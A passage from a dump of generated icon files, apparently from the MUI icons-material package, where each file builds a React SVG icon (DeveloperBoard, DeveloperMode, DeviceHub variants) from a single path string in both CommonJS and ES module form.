    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H22v-2h-2v-2h2v-2h-2V9h2V7h-2V5c0-1.1-.9-2-2-2H5.83zM12 9.17V7h4v3h-3.17zM9.83 7H11v1.17zm4 4H16v2.17zM18 21c.06 0 .11 0 .16-.01l2.32 2.32 1.41-1.41L2.1 2.1.69 3.51l1.32 1.32C2 4.89 2 4.94 2 5v14c0 1.1.9 2 2 2zM4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2z\"\n}), 'DeveloperBoardOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H22v-2h-2v-2h2v-2h-2V9h2V7h-2V5c0-1.1-.9-2-2-2H5.83zM12 9.17V7h4v3h-3.17zM9.83 7H11v1.17zm4 4H16v2.17zM18 21c.06 0 .11 0 .16-.01l2.32 2.32 1.41-1.41L2.1 2.1.69 3.51l1.32 1.32C2 4.89 2 4.94 2 5v14c0 1.1.9 2 2 2zM4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2z\"\n}), 'DeveloperBoardOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H22v-2h-2v-2h2v-2h-2V9h2V7h-2V5c0-1.1-.9-2-2-2H5.83zM12 9.17V7h4v3h-3.17zM9.83 7H11v1.17zm4 4H16v2.17zM18 21c.06 0 .11 0 .16-.01l2.32 2.32 1.41-1.41L2.1 2.1.69 3.51l1.32 1.32C2 4.89 2 4.94 2 5v14c0 1.1.9 2 2 2zM4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2z\"\n}), 'DeveloperBoardOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H22v-2h-2v-2h2v-2h-2V9h2V7h-2V5c0-1.1-.9-2-2-2H5.83zM12 9.17V7h4v3h-3.17zM9.83 7H11v1.17zm4 4H16v2.17zM18 21c.06 0 .11 0 .16-.01l2.32 2.32 1.41-1.41L2.1 2.1.69 3.51l1.32 1.32C2 4.89 2 4.94 2 5v14c0 1.1.9 2 2 2zM4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2z\"\n}), 'DeveloperBoardOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H21c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1V9h1c.55 0 1-.45 1-1s-.45-1-1-1h-1V5c0-1.1-.9-2-2-2H5.83zM15 10h-2c-.06 0-.13-.01-.19-.02l-.79-.79C12.01 9.13 12 9.06 12 9V8c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1m-4-2v.17L9.83 7H10c.55 0 1 .45 1 1m5 4v1.17L13.83 11H15c.55 0 1 .45 1 1M1.39 2.81C1 3.2 1 3.83 1.39 4.22l.61.61V19c0 1.1.9 2 2 2h14c.06 0 .11 0 .16-.01l1.61 1.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.81 2.81c-.39-.39-1.03-.39-1.42 0M4 19V6.83l2 2V11c0 .55.45 1 1 1h2.17l1.02 1.02c-.06-.01-.13-.02-.19-.02H7c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-2c0-.06-.01-.13-.02-.19L12 14.83V16c0 .55.45 1 1 1h1.18l2 2z\"\n}), 'DeveloperBoardOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H21c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1V9h1c.55 0 1-.45 1-1s-.45-1-1-1h-1V5c0-1.1-.9-2-2-2H5.83zM15 10h-2c-.06 0-.13-.01-.19-.02l-.79-.79C12.01 9.13 12 9.06 12 9V8c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1m-4-2v.17L9.83 7H10c.55 0 1 .45 1 1m5 4v1.17L13.83 11H15c.55 0 1 .45 1 1M1.39 2.81C1 3.2 1 3.83 1.39 4.22l.61.61V19c0 1.1.9 2 2 2h14c.06 0 .11 0 .16-.01l1.61 1.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.81 2.81c-.39-.39-1.03-.39-1.42 0M4 19V6.83l2 2V11c0 .55.45 1 1 1h2.17l1.02 1.02c-.06-.01-.13-.02-.19-.02H7c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-2c0-.06-.01-.13-.02-.19L12 14.83V16c0 .55.45 1 1 1h1.18l2 2z\"\n}), 'DeveloperBoardOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H22v-2h-2v-2h2v-2h-2V9h2V7h-2V3H5.83zM12 9.17V7h4v3h-3.17zM9.83 7H11v1.17zm4 4H16v2.17zm4.34 10 2.31 2.31 1.41-1.41L2.1 2.1.69 3.51 2 4.83V21zM4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2z\"\n}), 'DeveloperBoardOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H22v-2h-2v-2h2v-2h-2V9h2V7h-2V3H5.83zM12 9.17V7h4v3h-3.17zM9.83 7H11v1.17zm4 4H16v2.17zm4.34 10 2.31 2.31 1.41-1.41L2.1 2.1.69 3.51 2 4.83V21zM4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2z\"\n}), 'DeveloperBoardOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2zm12-5.83V11h-2.17l-1-1H16V7h-4v2.17l-1-1V7H9.83l-2-2H18v10.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H22v-2h-2v-2h2v-2h-2V9h2V7h-2V5c0-1.1-.9-2-2-2H5.83zM12 9.17V7h4v3h-3.17zM9.83 7H11v1.17zm4 4H16v2.17zM18 21c.06 0 .11 0 .16-.01l2.32 2.32 1.41-1.41L2.1 2.1.69 3.51l1.32 1.32C2 4.89 2 4.94 2 5v14c0 1.1.9 2 2 2zM4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2z\"\n}, \"1\")], 'DeveloperBoardOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2zm12-5.83V11h-2.17l-1-1H16V7h-4v2.17l-1-1V7H9.83l-2-2H18v10.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.83 5H18v10.17L19.83 17H22v-2h-2v-2h2v-2h-2V9h2V7h-2V5c0-1.1-.9-2-2-2H5.83zM12 9.17V7h4v3h-3.17zM9.83 7H11v1.17zm4 4H16v2.17zM18 21c.06 0 .11 0 .16-.01l2.32 2.32 1.41-1.41L2.1 2.1.69 3.51l1.32 1.32C2 4.89 2 4.94 2 5v14c0 1.1.9 2 2 2zM4 19V6.83l2 2V12h3.17l1 1H6v4h5v-3.17l1 1V17h2.17l2 2z\"\n}, \"1\")], 'DeveloperBoardOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9V7h-2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h2v-2h-2v-2h2v-2h-2V9zm-4 10H4V5h14zM6 13h5v4H6zm6-6h4v3h-4zM6 7h5v5H6zm6 4h4v6h-4z\"\n}), 'DeveloperBoardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9V7h-2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h2v-2h-2v-2h2v-2h-2V9zm-4 10H4V5h14zM6 13h5v4H6zm6-6h4v3h-4zM6 7h5v5H6zm6 4h4v6h-4z\"\n}), 'DeveloperBoardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 8c0-.55-.45-1-1-1h-1V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1V9h1c.55 0 1-.45 1-1m-5 11H5c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M6.5 13h4c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5m6-6h3c.28 0 .5.22.5.5v2c0 .28-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5v-2c0-.28.22-.5.5-.5m-6 0h4c.28 0 .5.22.5.5v4c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5v-4c0-.28.22-.5.5-.5m6 4h3c.28 0 .5.22.5.5v5c0 .28-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5\"\n}), 'DeveloperBoardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 8c0-.55-.45-1-1-1h-1V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1V9h1c.55 0 1-.45 1-1m-5 11H5c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M6.5 13h4c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5m6-6h3c.28 0 .5.22.5.5v2c0 .28-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5v-2c0-.28.22-.5.5-.5m-6 0h4c.28 0 .5.22.5.5v4c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5v-4c0-.28.22-.5.5-.5m6 4h3c.28 0 .5.22.5.5v5c0 .28-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5\"\n}), 'DeveloperBoardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9V7h-2V3H2v18h18v-4h2v-2h-2v-2h2v-2h-2V9zm-4 10H4V5h14zM6 13h5v4H6zm6-6h4v3h-4zM6 7h5v5H6zm6 4h4v6h-4z\"\n}), 'DeveloperBoardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9V7h-2V3H2v18h18v-4h2v-2h-2v-2h2v-2h-2V9zm-4 10H4V5h14zM6 13h5v4H6zm6-6h4v3h-4zM6 7h5v5H6zm6 4h4v6h-4z\"\n}), 'DeveloperBoardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h14V5H4zm8-12h4v3h-4zm0 4h4v6h-4zM6 7h5v5H6zm0 6h5v4H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13h5v4H6zm0-6h5v5H6zm6 0h4v3h-4zm0 4h4v6h-4zm10-2V7h-2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h2v-2h-2v-2h2v-2h-2V9zm-4 10H4V5h14z\"\n}, \"1\")], 'DeveloperBoardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h14V5H4zm8-12h4v3h-4zm0 4h4v6h-4zM6 7h5v5H6zm0 6h5v4H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13h5v4H6zm0-6h5v5H6zm6 0h4v3h-4zm0 4h4v6h-4zm10-2V7h-2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h2v-2h-2v-2h2v-2h-2V9zm-4 10H4V5h14z\"\n}, \"1\")], 'DeveloperBoardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperMode.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h10v2h2V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v4h2zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17zM10 15.17 6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59zM17 19H7v-2H5v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'DeveloperMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperMode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h10v2h2V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v4h2zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17zM10 15.17 6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59zM17 19H7v-2H5v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'DeveloperMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperModeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h10v2h2V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v4h2zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17zM10 15.17 6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59zM17 19H7v-2H5v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'DeveloperModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperModeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h10v2h2V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v4h2zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17zM10 15.17 6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59zM17 19H7v-2H5v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'DeveloperModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperModeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h10v1c0 .55.45 1 1 1s1-.45 1-1V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1zm9.12 10.88 3.17-3.17c.39-.39.39-1.02 0-1.41l-3.17-3.17c-.39-.39-1.03-.39-1.42 0s-.39 1.02 0 1.41L17.17 12l-2.47 2.47c-.39.39-.39 1.02 0 1.41s1.03.39 1.42 0m-6.83-1.42L6.83 12l2.46-2.46c.39-.39.39-1.02 0-1.41s-1.03-.39-1.42 0L4.7 11.3c-.39.39-.39 1.02 0 1.41l3.17 3.17c.39.39 1.03.39 1.42 0 .4-.39.39-1.03 0-1.42M17 19H7v-1c0-.55-.45-1-1-1s-1 .45-1 1v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'DeveloperModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperModeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h10v1c0 .55.45 1 1 1s1-.45 1-1V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1zm9.12 10.88 3.17-3.17c.39-.39.39-1.02 0-1.41l-3.17-3.17c-.39-.39-1.03-.39-1.42 0s-.39 1.02 0 1.41L17.17 12l-2.47 2.47c-.39.39-.39 1.02 0 1.41s1.03.39 1.42 0m-6.83-1.42L6.83 12l2.46-2.46c.39-.39.39-1.02 0-1.41s-1.03-.39-1.42 0L4.7 11.3c-.39.39-.39 1.02 0 1.41l3.17 3.17c.39.39 1.03.39 1.42 0 .4-.39.39-1.03 0-1.42M17 19H7v-1c0-.55-.45-1-1-1s-1 .45-1 1v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'DeveloperModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperModeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h10v2h2V1.01L5 1v6h2zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17zM10 15.17 6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59zM17 19H7v-2H5v6h14v-6h-2z\"\n}), 'DeveloperModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperModeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h10v2h2V1.01L5 1v6h2zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17zM10 15.17 6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59zM17 19H7v-2H5v6h14v-6h-2z\"\n}), 'DeveloperModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperModeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h10v2h2V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v4h2zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17zM10 15.17 6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59zM17 19H7v-2H5v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'DeveloperModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperModeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h10v2h2V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v4h2zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17zM10 15.17 6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59zM17 19H7v-2H5v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'DeveloperModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHub.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 16-4-4V8.82C14.16 8.4 15 7.3 15 6c0-1.66-1.34-3-3-3S9 4.34 9 6c0 1.3.84 2.4 2 2.82V12l-4 4H3v5h5v-3.05l4-4.2 4 4.2V21h5v-5z\"\n}), 'DeviceHub');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeviceHub.mjs",
